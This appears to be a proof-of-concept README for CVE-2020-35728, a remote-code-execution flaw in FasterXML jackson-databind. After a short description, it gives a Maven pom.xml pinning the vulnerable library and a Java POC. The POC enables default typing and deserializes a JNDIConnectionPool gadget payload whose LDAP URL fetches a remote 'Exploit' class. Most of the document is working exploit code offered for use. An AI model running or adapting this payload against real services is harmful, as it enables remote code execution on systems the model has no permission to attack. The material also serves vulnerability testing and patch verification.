The cve-2020-35728 from rassec

cve-2020-35728's Introduction

Description

FasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).

How to RCE

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.jacksonTest</groupId>
    <artifactId>jacksonTest</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.glassfish.web/jakarta.servlet.jsp.jstl -->
        <dependency>
            <groupId>org.glassfish.web</groupId>
            <artifactId>jakarta.servlet.jsp.jstl</artifactId>
            <version>2.0.0</version>
        </dependency>


        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
    </dependencies>
</project>

poc.java

import com.fasterxml.jackson.databind.ObjectMapper;

public class POC {
    public static void main(String[] args) throws Exception {
        String payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"ldap://127.0.0.1:1088/Exploit\"}]";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        Object obj = mapper.readValue(payload, Object.class);
        mapper.writeValueAsString(obj);
    }
}

result

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